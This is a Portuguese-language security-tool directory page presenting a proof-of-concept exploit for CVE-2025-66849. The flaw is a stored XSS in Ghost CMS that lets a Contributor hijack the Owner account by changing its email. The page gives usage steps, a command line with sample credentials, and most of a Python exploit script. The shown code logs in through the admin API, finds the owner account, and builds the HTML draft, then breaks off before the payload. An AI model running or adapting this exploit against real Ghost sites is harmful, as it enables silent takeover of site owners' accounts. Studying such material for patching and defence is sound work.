Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-66849 — Ghost CMS Escalada de Privilégios PoC | Kitploit
Ferramentas/GitHubGitHub/wojtekchwala/cve-2025-66849
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

Ghost CMS Escalada de Privilégios PoC

Ver Repositório
9há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-66849

PoC de Escalação de Privilégios no Ghost CMS

Resumo

No Ghost Foundation Ghost CMS até a versão 6.4.0, o bloco HTML dentro do editor de rascunho de post não sanitiza nem codifica adequadamente o conteúdo fornecido pelo usuário, resultando em uma vulnerabilidade de cross-site scripting (XSS) armazenado. Um usuário com privilégios de Colaborador pode injetar JavaScript arbitrário em um rascunho, que é executado quando visualizado pela conta Proprietário. Isso permite que o atacante realize ações privilegiadas no contexto do Proprietário.

Visão Geral da Vulnerabilidade

Gravidade: Alta

Versões Afetadas: Ghost 6.4.0 (Mais recente em 20 de outubro de 2025) - Ghost CMS até 6.4.0

Passos para Reproduzir

Para demonstrar a vulnerabilidade, é necessário configurar uma instância local do Ghost CMS com duas contas:

  1. Conta Proprietário - criada automaticamente durante a instalação do Ghost.

  2. Conta Colaborador - criada pelo Proprietário ao convidar um novo usuário. O Ghost envia um Magic Link para o endereço de e-mail do Colaborador para completar a configuração da conta.

Como isso é feito localmente, uma ferramenta de captura de e-mails como o MailHog deve ser instalada (por exemplo, via Docker). Isso permite que o Magic Link enviado pelo Ghost seja interceptado localmente, para que o Colaborador possa ativar sua conta por conta própria.

Uma vez que ambas as contas estejam ativas, o script de exploração (contributor.py) pode ser usado. O script requer as credenciais de login do Colaborador e o novo endereço de e-mail que será atribuído à conta Proprietário após uma exploração bem-sucedida.

Os parâmetros do script são:

-u / --username      Nome de usuário do Colaborador (e-mail)
-p / --password      Senha do Colaborador
-e / --new-email     Novo endereço de e-mail a ser definido na conta Proprietário
--url                URL da instância Ghost (opcional)

Para executar o script no terminal, use:

python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

Quando executado, o script cria automaticamente um novo rascunho de Post contendo o payload JavaScript malicioso dentro do bloco HTML vulnerável.

Para acionar o XSS armazenado, o Proprietário só precisa visualizar o rascunho abrindo-o no painel de administração do Ghost e clicando em “Preview”. O script injetado é executado em segundo plano com os privilégios do Proprietário, e o Proprietário não é notificado de que seu endereço de e-mail foi alterado.

import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None
Baixar ferramenta